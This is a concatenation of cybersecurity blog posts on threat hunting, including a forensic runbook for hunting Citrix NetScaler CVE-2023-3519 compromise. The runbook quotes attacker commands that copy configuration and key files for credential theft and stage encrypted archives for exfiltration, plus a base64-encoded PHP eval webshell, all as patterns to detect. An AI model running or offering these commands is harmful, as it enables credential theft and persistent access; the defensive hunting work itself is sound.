Zones are more ambiguous than funnels. Because of this, they also capture higher degrees of complexity. Zones can represent areas or regions within a larger space, boundaries between these zones can sometimes be less evident. Zones can also overlap, threshold spaces open up between boundaries, where perimeters create an interplay betwixt the "inside" and the "outside".

Actionability Zones remove pressure from the threat intelligence collection phase since the collection is meant to be broad but tailored, directed but curious, targeted to your industry vertical, geopolitical dynamics, services, or strategic goals, but broad enough that you won't make premature determinations regarding its usefulness, risking to exclude that which could be very important to you in the next phase (analysis).

More actionable zones still have the least actionable zones as an extended perimeter. There are still threats surrounding our implementation zone that deserve further analysis and threats in our analysis zone that deserve heightened monitoring, we might not do something about them now, but might do so in the near future.

The digital infrastructure of many businesses out there can be very complex, hybrid architecture, multi-cloud environments, multiple operative systems and OS versions, dispersed workforce, changing requirements, etc. turn these infrastructures into highly volatile environments (environmental volatility is one of the three tactical disadvantages of cyber defenders, something I will address in future epistles).

During your analysis phase, you may have discarded information regarding specific vulnerabilities or adversarial techniques thinking they don't apply to your digital systems, only to find out a couple of days later that someone in the organization has just deployed the very system that is targeted by those attacks. Threats coexist, just like zones.

But how should we classify threats in terms of the evidence we have about them? Not all threats are known to the same degree, some remain mostly obscure to organizational reasoning, some are anticipated but not much is known about them, and some have prolific open-source information making them highly transparent to threat intelligence functions out there.

It is important to understand these differences since our degrees of confidence are rationally constrained by our evidence. In turn, this guides our allocation of resources: it is extremely rare for an organization to allocate high quantities of manpower to deploy security controls for threats that are vaguely understood.

Based on the availability of information regarding threats, we could categorize them into three epistemic states of information:

1. Hypothetical threats | Actionability factor: Low | Recommended action: Monitor.
   These are threats that could potentially impact your organization. Their actionability is low mainly because you have not yet fully qualified them to understand whether they are applicable to your attack surface or not. This is also the reason why they mostly live in the future horizon. When I say hypothetical here, it means you really don't know whether they could or could not impact your business. You may not even know these threats are possible yet (like asking someone in the 1940s if we need quantum-resistant cryptography or if LLMs can help generate self-sustaining polymorphic malware).

2. Presumptive threats | Actionability factor: Medium | Recommended action: Analyse.
   These are threats you have decided to focus on, you have allocated resources to understand how they impact your attack surface. If you want to think about this in terms of a standard diamond model, these are threats that carry the potential to damage your business because there is an adversary who has a capability that can impact a vulnerability in your infrastructure.

3. Factual threats | Actionability factor: high | Recommended action: Implement.
   These are the threats that you have effectively brought under governance. You have aligned or updated your security controls to manage the threat to the best of your organizational capability.

Now please bear in mind, I have not yet even spoken about how those threats were classified and prioritized by your business.

We described actionability zones as fuzzy perimeters that indicate what are the best courses of action for different classes of threats, but how are threats selected and optimally allocated to their corresponding zones so that we are addressing those threats that have contextual meaning within our business?

To explore this problem we will have to talk about how threat information relates to entropy and uncertainty about the cyber threats out there.

We will address this in the next articles in this series, stay tuned!

Appetizer

Ahoy fellow Cyberscouts! It's been a couple of weeks since our last encounter when I introduced an example of an applied AIMOD2 hunt mission, using Citrix CVE-2023-3519 as target.

What have I been doing since then you ask? Well, I've been building Active Cyber Defence capability at a global scale, by identifying the right structures and approaches that an organization can take to develop proactive threat detection and countermeasures.

Aside from that, I've been pondering hard around the question of "why" in threat detection. Why hunting for this threat and not that threat? Why create a detection for x, y, and z, as opposed to b, c, and d?

The perils of pondering this question for too long is that you may end up in complete relativism. But if you are curious enough, have tolerance for uncertainty, and avoid collapsing the space of possibilities too soon, there are treasures to be found. It is all about becoming a navigator of these complex times.

My reflection efforts have produced a blog post series around "The Problem of Why: Threat-Informed Prioritization in Hunting and Detection Engineering". These are not published yet, but if you stay tuned, your email client will surely let you know, unless, of course, you have flagged the Tales of a CyberScout as SPAM, for which I wouldn't blame you, to be honest 😉.

Today though is time for us to delve into a different topic. This epistle has been sitting in my Obsidian client for long enough and I believe it is time to finally publish it: how does a threat hunting pipeline look like?

The Intel Illusion

Most threat hunting and detection engineering models are quick to state that threat hunting should be "threat-led". What they don't state is what is that supposed to mean.

Most people assume that leveraging threat intelligence for hunting and detection engineering simply means consuming feeds full of IOCs. I am not sure what dark magic is operated to transform that into hunting hypotheses or missions, but I'm sure there are archmages that can do that out there (perhaps some extreme data analytics comes to the rescue).

Some people think that leveraging intel for hunting and detection engineering is all about understanding external threat actor behaviour. That is tactics, techniques, and procedures that specific threat groups like Cozy Bear (APT29) exhibit in the "wild", which are captured by the big Cyber Consultancies and TI companies out there, then disseminated amongst the commoners.

Some other people (yeah, my maths here are pretty loose: some + some = still some), the very few, realize something crucial to any serious threat hunting program: EVERYTHING IS INTEL.

Let's say you run internal penetration tests and the testers find holes in your applications, big deal uh? What do you do with that information? You probably pass it on to a bunch of happy devs (uh... yeah, because those guys are mega happy about this news surely) who will go on their merry way and fix the vulnerability. Internal Patch Tuesdays.

And what else? Is that all you do with such an important piece of information? What about:

• understanding whether there are any threat actors that have been associated with exploiting the same bugs

• running OSINT on the vulnerability type to understand correlations and connections to other bugs in a typical attack chain

• passing that info to your operational blue teams to perform retrohunts, in order to understand whether anyone else has been able to exploit the same vulnerability in the past

• collating this information into an internal vulnerability database to understand engineering patterns and how to improve them

So you hire a Red Team to come and do an assessment of your security controls end-to-end. They setup a phishing structure, phish one of your employees with weaponized docos or credential harvesting. Deploy a C2, run BloodHound, identify attack vectors, move laterally, escalate privileges, obtain domain admin, exfiltrate data and achieve objectives. They completely, utterly pwnd you for the 5th time and everybody is raising risks left, right, and center.

What do you now do with that information? Raise a risk, fix things and job done?

What about, well... pretty much everything I just said for the pentest case, and then add:

• performing attack path modelling by leveraging Mitre Attack Flow

• tracking adversarial emulation engagements as you would any other threat actor (even when they are not)

• break down attack chain information to understand cyber deception opportunities

And the list can go on.

The point is, if your notion of "intel" is merely reduced to external threat actors, then you are missing out on fantastic sources of intel right inside your perimeter.

Don't get me wrong, intel that pertains to external threat actors is hugely relevant to blue teams, it belongs to the domain of predictive analytics and projected attack vectors.

The awareness this brings to the business is core to any serious cyber security program. But by limiting your hunt pipeline to external sources of information, you are blinded to the potential of derived analytics from internal sources, which play an essential role in probing and responding to internal security controls and their breaches.

The Active Defence Threat Hunting Pipeline

So how do we evolve past the limitations of the abovementioned shortcomings? My small proposition is that we shift our mindset 360°, not in a circle but in a spiral.

I always liked spirals more than circles. A spiral is a combination of circular motion and linear motion. The circular motion is what allows you to make the turn, while the linear motion allows you to progress along the spiral path. Spirals don't just represent cycles, they also represent quantum leaps, evolutions, dislocations.

Let's begin by assuming that EVERYTHING in our environment IS INTEL. It can be in a less refined or more refined state, more or less interconnected, more or less clustered, more or less coherent, but it can be considered a source of threat intelligence, in principle. We can have our classical philosophical debates in later epistles, I am aware that intelligence involves more than merely disconnected data points.

To work on a threat hunting pipeline, we simply need to draw from AIMOD2 Framework CAPEO model. It lays out the basic foundations not just of a hunt mission, but of an approach to the praxis of threat intelligence operationalization. In other words: the practice of deriving actionability from contextually relevant threat intel. Our initial threat hunting pipeline based on CAPEO would then look like this:

If we overlay the potential sources of intel that make up a rich pipeline we would then have to modify the funnel to this:

We can provide details on what each phase of the pipeline entails, by breaking the phases down into specific tasks:

Probably that reads too small for you 👅, so let's break down each phase into its core tasks.

Threat Hunt Pipeline High Level Process

First of all, bear in mind: each phase in the pipeline deserves its own process. We are only describing the high level aspects here. It is up to you to define the detailed process that fits your business model, industry vertical, delivery strategy, etc.

Why would I want to tell you what to do here? (I wouldn't, at least not for free 😉)

Collect

Ensure that threat information is collected into one or several platforms

Threat information will be produced by different teams, at various levels of your organization. It is a nice thought to think all of it will be centralized in a single pane of glass, but this is usually not the case.

From the active defence threat hunting function perspective, you need to ensure that you have identified the platforms where the various functions and teams in your organization store data that has any type of threat-informed information coded within.

As long as you have access to the source data, you can then further refine it down the hunt pipeline, transforming fragmented and unrelated data into coherent clusters of actionable information, following DAIKI principles (Data, Information, Knowledge, Insight)

Ensure communication channels exist between source teams and the hunt function

Your active defence threat hunting function won't get too far if it's not continuously absorbing organizational context and synthesizing it into actionable information.

The active defence threat hunting function needs to embed itself in the various communication channels that exist between source teams producing threat-informed data.

You need to have a hunt emissary of sorts in relevant forums and make the right agreements with key stakeholders to ensure contextually relevant information flows into the hunt pipeline.

Ensure teams producing that information make it available to the hunt function

Similar to the above, ensure that threat-informed data is readily made available in some shape or form, the further along the DAIKI semantic chain, the better. That is, the more refined, structured, and relevant is the information, the easier it's going to be to digest it in the hunt pipeline and quickly operationalize it into actionable hunt missions.

Analyse

Validate and triage information

As information flows into the hunt pipeline, you need to ensure that you have a process for validating the relevancy and quality of this information.

Not all information is made the same. Information from a full-blown threat report like CISA Advisory for the Exploitation of Citrix CVE-2023-3519 provides plenty of insights that are easy to digest and convert into hunt mission objectives and runbooks.

Information coming from pentest engagements where many exploitable vulnerabilities have been found in a few applications does not provide the same level of actionability. You need to perform an analysis of this type of information, identify patterns, understand the impact, and enrich this with MITRE ATT&CK TTPs and linked threat actors that leverage similar exploit vectors.

In any case, you need to triage incoming threat-informed data and prioritize what will make it further down the hunt pipeline. What deserves to be further understood and analysed, and what can we drop?

Perform use-case feasibility assessment

Once you have prioritized your information, you need to evaluate what is involved in converting the potential energy of that information into kinetic energy. At the risk of losing half my audience here because I am not using "businessy" jargon, let me rephrase the above as effectively harnessing the latent value of collected data in terms of its actionability.

Your feasibility assessment process needs to truly assess what data is material for hunt missions. This involves defining exclusion criteria and prioritization criteria based on attributes like:

• what is the freshness of the threat information

• how does it link to your Crown Jewels (because you have obviously identified them I assume? 🤭)

• what is the exploitability score of any vulnerabilities identified in the use-case, for example, by implementing EPSS (exploit prediction scoring system)

• does the threat-informed data relate to past or present incidents?

• are there prior hunt missions that could be enriched with this information, in order to run new iterations of them?

• does the potential use-case align with strategical priorities defined by your business unit or cyber operations function?

• does the information relate to external threat actors that regularly target your industry vertical?

There are many more considerations to make, but you get the point.

Identify requirements

In Cyber Threat Intelligence, you normally have to identify collection requirements at the beginning of your threat intel lifecycle. This is fine when you are the producer of information for downstream teams that consume it.

In a threat hunting pipeline, your requirement identification phase is kind of an extension of the feasibility assessment. It involves understanding what are the potential use-cases for the information that has made it thus far down the pipeline.

Requirement identification is also concerned with understanding what the rest of the pipeline looks like, whether it makes sense to add a new hunt idea to the backlog, and whether this is feasible with available resources.

This subsection is added for clarity, but it is really part of Feasibility Assessment.

Gather business context

Once you have identified a good use-case, which will be converted into a hunt mission further downstream, you have to gather further contextual awareness:

• is there documentation that relates to your potential hunt mission

• what are the key stakeholders that are linked to the threat, vulnerability, or technology stack

• is there a need to involve other teams or business functions to understand the topic better and give your hunters the best chance of success?

Business context gathering can also be collapsed into the Feasibility Assessment process.

Plan

Designate Hunt Mission Lead

Once the information has been captured, refined, and understood, it is time to designate a threat hunt mission lead, who will take over the rest of the pipeline, and ensure the use-case is converted into a hunt mission.

The hunt mission lead is accountable for the mission delivery end-to-end.

Determine Hunting Squad Composition

The hunt mission lead needs to recruit hunters from the pool, in order to prepare the hunt mission for execution.

Select Hunt Mission Type(s)

There are many hunt mission types, threat hunters would have made best efforts to enrich and refine information in the best way possible, but there is always some more work that the hunt squad will have to perform.

The mission type you choose is based on the state of the information along the DAIKI chain and what is the end goal of the mission. Do we want to simply begin to understand the data spectrum, what shape it has, the fields, and details of logs? then perhaps an exploratory data analysis mission is the best. Do we have threat information that is very relevant to our business and technology stack, but lacks the detailed factor of threat reports? then perhaps a hypothesis-based operation is the best mission type.

Layout Hunt Mission

The threat hunt mission lead needs to lay out the structure of the hunt mission, including timeframes, scope, and runbook.

Execute

Run Hunt Mission

At this point, the Hunt Pipeline Process hands over to the specific process that governs a particular mission type.

The hunt mission is run according to the stipulated process. The hunt mission process should include an outcomes phase where results are communicated to stakeholders, playbooks and reports are written, and the workload is updated.

Outcomes

Collect feedback on mission outcomes

It is important that the different stakeholders provide feedback around the relevancy, accuracy, and value-add of selected hunt missions.

The Active Defence Threat Hunting Lead needs to meet regularly with mission leads to understand enablers, blockers, gaps and issues.

Update Metrics

Whatever metrics you use to measure the flow and quality of your hunt program need to be continuously updated to ensure they reflect real stats.

Ideally, this process should be automated and DevOpsified, because why not?

Identify Continuous Improvement Opportunities

Continuous Service Improvement is one of the key aspects of ITIL. It is important to collect feedback from mission leads, threat hunters, and stakeholders to understand where are the opportunities for improvement.

We are not playing a finite game here but an infinite game. Continuous improvement is just part of the game.

Did you enjoy this?

And that's about it today folks, I have probably spoken long enough for a Sunday afternoon 😉

I have no desire to share these ideas with an audience that has no interest whatsoever in what we are building here.

And what we are building my friends is a pathway to active cyber defence and beyond, into adaptive cyber defence. That's why I share this with my subscribers!

I want us all to be part of a higher collective intelligence and collaborate to develop creative paths and a healthy connective tissue of like-minded humans.

Hopefully, we can help businesses protect themselves and improve the quality of life of people around the world, whilst hoping to discover and practice better ways to take care of our planet.

💡

So if some of the ideas laid out in this article resonate with you, please share them with your like-minded inner circle and ask them to subscribe to the Tales of a Cyberscout.

Enjoy your day and I hope you all have a great week ahead!

Cheers,
Diego The Cyberscout

Hello everyone, it would seem that time has gone quite fast and my temporal abilities to navigate the river of Chronos are not yet good enough. Ideally, I would like to train the power of slowing time, enjoying the shades of it as you go through your day.

I have the feeling that Chronos is not the best way to do it though, but rather, it is Kairos that holds the secret for a different experience of time. I will speak of the three perceptions of time in another epistle. I know this is not the reason why you are reading this new Tales of a Cyberscout ;) So how about we dive into our topic for today?

Going to our main topic of today, I know there are many Organisations out there struggling with either a response or compromise assessment of the Citrix NetScaler recent vulnerabilities, especially CVE-2023-3519. At the same time, a lot of people have asked me to show an example of applied AIMOD2 so I decided to do this leveraging another Sh*trix vuln. Let's explore how we can operationalize the framework and apply it practically.

Background

I would like to share here an approach to crafting a threat hunt mission to investigate a Citrix NetScaler scenario. Effectively, we will be breaking down the hunt mission into four phases (these can be compressed down to three or two phases depending on your preferences):

1. Initial Research: collating information from available OSINT sources.

2. Planning: setting up the structure of your mission.

3. Discovery & Disruption: performing your analysis and escalating or containing potential damage.

4. Outcomes: producing your final report, playbooks and any other relevant artefacts.

Note: I've had a few requests at crafting a hunt mission for MoveIT or Ivanti Endpoint Manager. I will try to come up with an example for those soon ;)

Note2: It is important to understand this threat hunting approach is designed to work in a rapid-response or live forensics scenario. You should decide whether this approach is valid in your environment, or whether a more "forensics-focused" method is better, by cloning your Netscaler disks and acquiring volatile memory, then performing a dead-forensics analysis.

Initial Research

CVE-2023-3519 is a vulnerability impacting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and the NetScaler Gateway that allows for unauthenticated remote code execution (RCE). To address this vulnerability, Citrix issued a public advisory along with a patch on 18 July 2023. However, available threat intelligence points to this vulnerability being under active exploitation since at least 7th July 2023, with some sources indicating this happened as early as June 2023, when threat actors were observed leveraging the zero-day exploit to deploy WebShells within NetScaler ADC appliances. This entails that even organizations that have patched on time would have been exposed to the RCE through a window of about 11 to 40 days of pre-patched active exploitation.

Once deployed, WebShells provide cybercriminals with a conduit for conducting reconnaissance within the target's active directory (AD), since Citrix NetScalers utilize service accounts that can query a tenant AD to be able to provide some of its core functionality. This facilitates the extraction and exfiltration of AD-associated data once an appliance is compromised.

In its advisory, Citrix stated that CVE-2023-3519 can be exploited remotely without authentication, but only against appliances that are configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.

A more recent report by Fox-IT "uncovered a large-scale exploitation campaign of Citrix NetScalers in a joint effort with the Dutch Institute of Vulnerability Disclosure (DIVD)". The report states that automation was used by a cyber threat actor to exploit CVE-2023-3519 in a systematic way, placing WebShells on vulnerable NetScalers to gain persistent access.

According to Fox-IT, "the adversary can execute arbitrary commands with this webshell, even when a NetScaler is patched and/or rebooted". At the time the report was released, more than 1900 NetScalers remained backdoored.

Using the data supplied by Fox-IT, the Dutch Institute of Vulnerability Disclosure notified victims. However, it is plausible that the data gathered for the report is not fully representative of all vulnerable and/or backdoored NetScaler systems out there. This report, and the lack of notification from the Dutch Institute of Vulnerability Disclosure, should not be used as evidence of lack of exploitation or compromise.

References:

• https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a

• https://www.mandiant.com/resources/blog/citrix-zero-day-espionage

• https://www.picussecurity.com/resource/blog/cve-2023-3519-threat-actors-exploits-the-citrix-zero-day-vulnerability-for-remote-code-execution

• https://www.securityweek.com/exploitation-of-new-citrix-zero-day-likely-to-increase-organizations-warned/

• https://blog.fox-it.com/2023/08/15/approximately-2000-citrix-netscalers-backdoored-in-mass-exploitation-campaign/

Planning

Here you would ensure that you are setting up the required building blocks to ensure the hunt mission is executed according to your company's or client's process:

• Create a record to track actions in your case management suite

• Ensure the mission has a designated mission lead, accountable for the end-to-end delivery

• Ensure the hunt squad is sufficiently staffed to address the challenges and analysis of artefacts that will come your way

• Notify relevant stakeholders of the situation

• Obtain information about relevant SMEs, technical teams, business owners, and points of contact that will be useful during your engagement

Discovery & Disruption

Craft your playbook or runbook to help your hunt team drive the threat assessment.

Note: it's important to understand these actions are just initial guidelines, kick off ideas, they are not meant to address the full spectrum of possible DFIR analysis tasks, your hunters need to remain flexible and creative, to come up with additional angles and ideas that may have not been captured by the mission lead initially.

Threat Hunt Runbook

id Activity 1 Acquire system artefacts 2 Analyse HTTP Logs 3 Investigate Suspicious Commands in Bash and Sh History 4 Investigate Scheduler Services 5 Search for WebShell File Presence 6 Search for Fileless Malware 7 Investigate Core Dumps 8 Analyse Network Data 9 Search NetScaler Configuration for Anomalies 10 Run Mandiant IOC Scanner for CVE-2023-3519

01 | Acquire System artefacts

There are many system artefacts that can be collected for analysis, at a minimum you need:

• all contents of /var/log (this will include bash.log, sh.log, auth.log, cron.log, httpaccess.log, httperror.log, httpaccess-vpn.log, messages.log, nitro.log, ns.log)

• /var/vpn

• /var/netscaler/logon

• /var/python

• /var/crontabs

• /tmp

• /flash/nsconfig.ns

• NSPPE core dumps in /core/

• Process dumps generated by default

• File listings (you will have to use a combination of "find" and "-newermt" to list files in Netscaler flavour of FreeBSD)

• All PHP, JS, JSP, PNG, HTML, XML, PL files

• Listing of all ELF files with their timestamps (and better even if you can collect all ELF files themselves)

• process lists

• socket and port lists

• mount points

02 | Analyse HTTP Logs

Look into:

• Check logs for successful requests from external IPs that are uncommon

• Check logs for successful requests from external IPs to .php, .pl, .png, .html or .js files. Take note of those and compare them with file listings to understand whether they were added/modified recently, mostly prior to patching

• Investigate httperror logs for potential error messages caused by exploitation attempts

03 | Investigate Suspicious Commands in Bash and Sh History

Based on the TI from Mandiant and Cisa there are a few patterns to check for:

• Attempts at copying or moving "ns.conf" (which holds the NetScaler global configuration) as well as the F1 and F2 key files into a single destination file. You need all three files to be able to decrypt passwords inside ns.conf. Example:

  • cat /flash/nsconfig/ns.conf >>/var/vpn/themes/insight-new-min.js

  • cat /nsconfig/.F1.key >>/var/vpn/themes/insight-new-min.js

  • openssl base64 -d

  • cp /usr/bin/bash

• The threat actors attempted to deactivate the NetScaler High Availability File Sync (nsfsyncd). Search for signs of deactivation for this service

• The threat actors deleted the authorization configuration file (/etc/auth.conf), likely to prevent configured users (e.g., admin) from logging in remotely

• Use of cp command to rename files to unassuming extensions (like .png or .js)

• Ping requests to Google to check internet connectivity

• Curl usage to download external payloads

• Encryption of data staged for exfiltration, mostly using "tar". Example: tar -czvf - /var/tmp/all.txt | openssl des3 -salt -k <> -out /var/tmp/test.tar.gz

• Commandlines that include BASE64 encoded strings. Example: echo PD9waHAgDQpmb3IgKCR4PTA7ICR4PD0xOyAkeCsrKSB7DQogICAgICAgICRDWzFdID0gJF9SRVFVRVNUWyIxMjMiXTsNCiAgICAgICAgQGV2YWwNCiAgICAgICAgKCRDWyR4XS4iIik7DQp9IA0KPz4=

Some analytic approaches and examples:

• Check bash log files and sort by frequency, less frequent commands at the top: cat /var/log/bash.log | grep -Eio "shell_command=.*$" | sort | uniq -c | sort -n && zcat /var/log/bash*.gz | grep -Eio "shell_command=.*$" | sort | uniq -c | sort -n /2

• Check for recently modified/written XML files, sort by date, most recent ones at the bottom: find / -name "*.xml" -exec ls -haltr {} \; | sed 's/ */ /g' | sort -k 8

• Check for recently modified/written XML files, since the exploitation window, chain here any other extensions that are relevant based on available Threat Intelligence: find / -name "*.xml" -newermt "2023-06-01" && find / -name "*.pl" -newermt "2023-06-01" && find / -name "*.py" -newermt "2023-06-01"

• Check for suspicious running processes and their connections: lsof -RPni && lsof -PnP (you could further filter with grep)

• Check for further suspicious processes: ps auxd | grep nobody

04 | Investigate Scheduler Services

(Mandiant) The threat actor installed a persistent tunneler on the appliance, the tunneler provided encrypted reverse TCP/TLS connections to a hard-coded command and control address. The attacker created a crontab entry for the nobody user to ensure the tunneler ran persistently.

• Check for any new scheduled jobs under the "nobody" user

• Check for unusual commandlines in root crontab and the cron execution history in /var/cron.log

Some analytic approaches:

• Check your crontab logs: cat /var/log/cron | sed 's/ */ /g' | cut -d" " -f 10 | sort | uniq -c && zcat /var/log/cron*gz | sed 's/ */ /g' | cut -d" " -f 10 | sort | uniq -c

05 | Search for WebShell File Presence

Both Mandiant and Cisa reports indicate evidence of WebShells. Large-scale checks for potential WebShells coupled with manual review of suspects should be conducted.

• Run THORLite or LOKI over the collected filebase. The community Valhalla YARA rules offer a good initial indication.

• Gather additional YARA rules for WebShells from publicly available sources. Also, incorporate rules from fresh OSINT. Run additional YARA rules against collected evidence.

Some analytic approaches:

• Check the good investigative steps and YARA rules in https://github.com/nsacyber/Mitigating-Web-Shells

• Some extra WebShell YARA rules: https://github.com/jcole-sec/yara-rules/tree/master/webshells

• Additional good PHP WebShell YARA rules: https://github.com/farhanfaisal/yararule_web

06 | Search for Fileless Malware

Typical fileless malware in many linux distributions would use calls such as memfd_create() to create an anonymous file in RAM that can be run.

The man page for memfd_create states:

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has a volatile backing storage.

We would normally identify this behaviour using /proc/x/maps | grep memfd. However, FreeBSD-based systems like NetScaler do not have /proc/x/maps. The closer you can get is examining shared memory objects with procstat: procstat -v -a | grep 'memfd'

NOTE: I have not yet completely validated this approach in FreeBSD, if you have, please drop me a comment or message in LI so I can update this article

Further analysis:

• Some in-memory malware and classic file-based WebShells might cause memory leaks that will show up as high memory or CPU consumption cycles. If we discover that a NetScaler is on high memory usage then we need to go to /var/nslog and then verify the newnslog to check ConMEM to see which module/pool is taking up the majority of the memory.

• Follow further investigative approach at https://sandflysecurity.com/blog/detecting-linux-memfd-create-fileless-malware-with-command-line-forensics/

• More methods: https://twitter.com/cr0nym/status/1681709635508617216

07 | Investigate Core Dumps

Exploitation attempts and post-exploitation activity might cause processes to crash. This will trigger process dumps on NetScalers. In some instances, an NSPPE Core Dump might be generated.

• Investigate process dumps created from June 2023. Run strings to identify potentially HTTP-encoded commands or public IPs

• Investigate NSPPE core dumps if any

08 | Analyse Network Data

Look for

• Peaks in LDAP queries to DCs. These could indicate LDAP reconnaissance

• Investigate FW or Proxy logs for indications of headless web browser or python-based request usage. Example from Mandiant TI: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.121 Safari/537.36

• FW or IDS logs for signature triggers on traffic originating from NetScaler appliances

09 | Search NetScaler Configuration for Anomalies

Triage the contents of ns.conf to make sure it wasn't modified to allow for hidden connectivity

10 | Run Mandiant IOC Scanner for CVE-2023-3519

This step was added as a late update but you could run this earlier along the chain. Just make sure you acquire your forensic artefacts first, before running the Mandiant script, since it may create entries in your bash history that could be later detected as suspicious if you run it a 2nd time.

The scanning tool is designed to be run on a live appliance or a mounted forensic image. This scanner will search across a number of sources on the appliance to look for evidence of post-exploitation activity:

• File system paths that are likely to be malware

• Attacker or suspicious commands in the shell history

• Files in NetScaler directories with contents matching known IOCs

• Files with suspicious permissions or ownership

• Suspicious crontab entries

• Suspicious running processes

Outcomes

• Produce final report, capturing any aspects of AIMOD2 mission outcomes: visibility gaps, security control issues, detection opportunities, suspicious events uncovered, enriched IOCs, further hunt opportunities

• Craft an investigation playbook so that future occurrences can be more effectively approached by your hunt team

• Escalate any suspicious findings using your CSIRP (Incident Response Plan) logic

• Ensure patches have been applied to systems.

Appendix: IOCs for CVE-2023-3519

We live in an economy of distraction. In this era of fabricated intelligence, attention-sucking digital vampires, calculated buzzwords, over-optimization of every aspect of life, and the mindless echoing of information we call "news", there is little room for creative reflection and quiet pondering. If you cannot reflect, you cannot innovate, because your thoughts and actions will inevitably follow the path of least resistance. Inertia of the mind.

The endless spectacle of fleeting cyber threats captures your gaze, there is always a new shiny tool released every minute that helps bypass your defences, followed by another new tool that helps protect against the offensive tactics of the first one. There is always a new paradise promised in vendorland, and a new solution to old problems.

But who is asking what those problems are? Or whether we are even formulating the right ones? Which brave souls are out there connecting the dots?

The truth is, nobody wants to connect the dots, because it is a constant exercise in building fleeting structures out of water, that vanish as swiftly as they appear. Frankly, we are not trained to deal with complexity, we secretly relish in certainty: we like structures rather than scaffolds. Structures are more permanent. Scaffolds are temporary conditions that contribute to the accomplishment of a complex outcome. But scaffolding is a great way to produce structures. We neglect them though, because it's easier to cast away the perils of an uncertain world by trusting structured approaches that, despite their repeated shortcomings, they at least continue to deliver consistent failures. Don't get me wrong, I believe consistency is the key, but consistency in what? around what topics and in what way?

Venturing into the transient fluctuations of reality in the cybersphere is only for the daring. I invite you to join me on this journey to unknown lands where I will explore the possibility of building adaptive cyber defence practices that are fit to the problems of our new and evolving digital landscape.

Pardon me for the buzzwords, I know I am a victim -and perpetrator- of the same flaws I have just denounced! I say "cyber" a lot (and you will still hear me say that), I talk about "complexity" (like I know what it means) and I am surely letting whatever unconscious bias lives in me, filter through my thoughts and pour its nasty self-centered concoctions over these words. It is unavoidable.

But I don't consider these buzzwords anything other than (yes, you guessed it) scaffolds. They are useful as long as they allow me to step onto their shoulders and peak over the horizon, to understand what else is out there: what events of the cyber world we don't have words for, what approaches keep failing, and how to ask better questions, how to shape the right problems and stop failing at the wrong things.

If you want to join this Cyberscout and join a party of like-minded explorers, please subscribe, let's have some fun, gather around the fire, and share our stories.

Continuing from Threat Hunting Shift Part 3, we will now introduce the Defend and Design domains. So without further ado, let’s dig into it!

Note: If you haven’t read the previous post, where I present the Discover and Disrupt domains, I advice you head there and give it a quick read ;)

Defend

Warlords who have mastered defence, attack from hidden places and assure their own success. They know when, where, and how to make an attack while defending their positions at the same time. These men of high perception rely on obstacles they have set up for the enemy. In understanding the attack mentality, they never permit the enemy to know where the attack is coming from. (Sun Tzu, The Art of War, Book IV)

The Defense domain is focused on a set of tactics aimed at protecting the most valuable assets and resources of the defender. A strong defence can deter an attack, as the potential costs and risks of an attack may outweigh the potential benefits. Our defenses should seek to exploit any weaknesses or vulnerabilities of the attacker, and use them to our own advantage while maintaining a strong and cohesive unit with good communication and coordination among members.

Protect

The different measures suited to the nine varieties of ground; the expediency of aggressive or defensive tactics; and the fundamental laws of human nature: these are things that must most certainly be studied. (Sun Tzu, The Art of War, Book XI)

System protection is one of the classic and fundamental concepts in cybersecurity. It refers to ways of making systems and networks more resistant to digital attacks. Protection is based on implementing measures that ensure our systems safeguard all the components of the CIA triad (confidentiality, integrity and availability).

At the heart of the protection tactic, there are two main activities: attack prevention and system hardening.

Attack prevention involves implementing measures to prevent unauthorized access to a system or network, and to protect against attacks that may exploit vulnerabilities in the system. This can include installing and maintaining firewalls, IDS/IPS, EDR, AV, encryption, etc.

System hardening, on the other hand, refers to the process of making it more secure by reducing its vulnerability surface. This is typically done by reducing the number of functions the system performs, as a system that performs fewer functions has a smaller attack surface. To harden a system, several controls are applied like changing default passwords, removing unnecessary software, disabling unnecessary services and protocols, applying security patches, etc. A classic hardening framework is provided by the Center for Internet Security (CIS)¹. Essentially, the goal of hardening is to reduce the number of potential ways an attacker could compromise the system.

Detect

In the midst of chaos, there is also opportunity. (Sun Tzu, The Art of War, Book IV)

Detection refers to the process of identifying the presence of a security threat or breach in computer networks. This typically involves using various tools and techniques to monitor systems by collecting remote data (telemetry), analyzing this data, and looking for signs of unusual activity that might indicate an attempted attack or compromise. The goal of detection is to identify threats as quickly as possible so that appropriate countermeasures can be taken to prevent or mitigate the potential damage.

Detection is comprised of three main components:

• Sensor: the device or system that is used to collect data locally or remotely (telemetry) on target devices. The term “sensor” designates an abstract device that can take any shape like an EDR (a local system sensor that hooks on to system calls and gathers multiple types of data), IDS (sensing and collecting data from network communications), etc. Detection leverages tactics from the Discovery domain to achieve this goal. E.g. tactics like Exploration, to survey the internal infrastructure and understand data collection coverage and gaps; Collection, to effectively gather required data and centralize it in data lakes or SIEMs.

• Signal (Data): the information that is gathered by the sensor and used to identify the presence of threats. This information is usually pre-processed and refined before it arrives at the next stage.

• Algorithm: the process that is used to analyze the signal and determine whether it meets the threshold for detection. The algorithm might be a simple rule-based system, or a more complex statistical, behavioural, or risk-based model. Machine Learning algorithms that utilize UEBA and anomaly detection to find suspicious signals are an example of the latter.

When combined, these components produce a detector. A detector is an artifact that implements some type of logic (algorithm) based on data collected by sensors that aims to detect a specific type of suspicious activity. Detectors define different thresholds (trigger conditions) depending on the type of threat and telemetry available.

Respond

Entities in the cybersphere require constant vigilance and protection to build a layer of resilience against potential attacks in order to mitigate damage and reduce their future exposure. As such, Cyber Incident Response provides tactical and operational capabilities to defend against cyber attacks in the most effective manner.

In the context of the digital cybersphere, we can define Response as

a series of organized actions that are triggered due to a disruption that poses a threat to business operations.

This disruption does not need to cause an immediate damage to the business’ continuity but it carries the potential to do so. Cyber Response is the process of coordinating efforts towards the identification, containment, eviction, and remediation of a cyber threat, with the goal to minimize organizational damage and reduce its future occurrence. The purpose of Response is the same as any other Cybersecurity tactic: to manage risk.

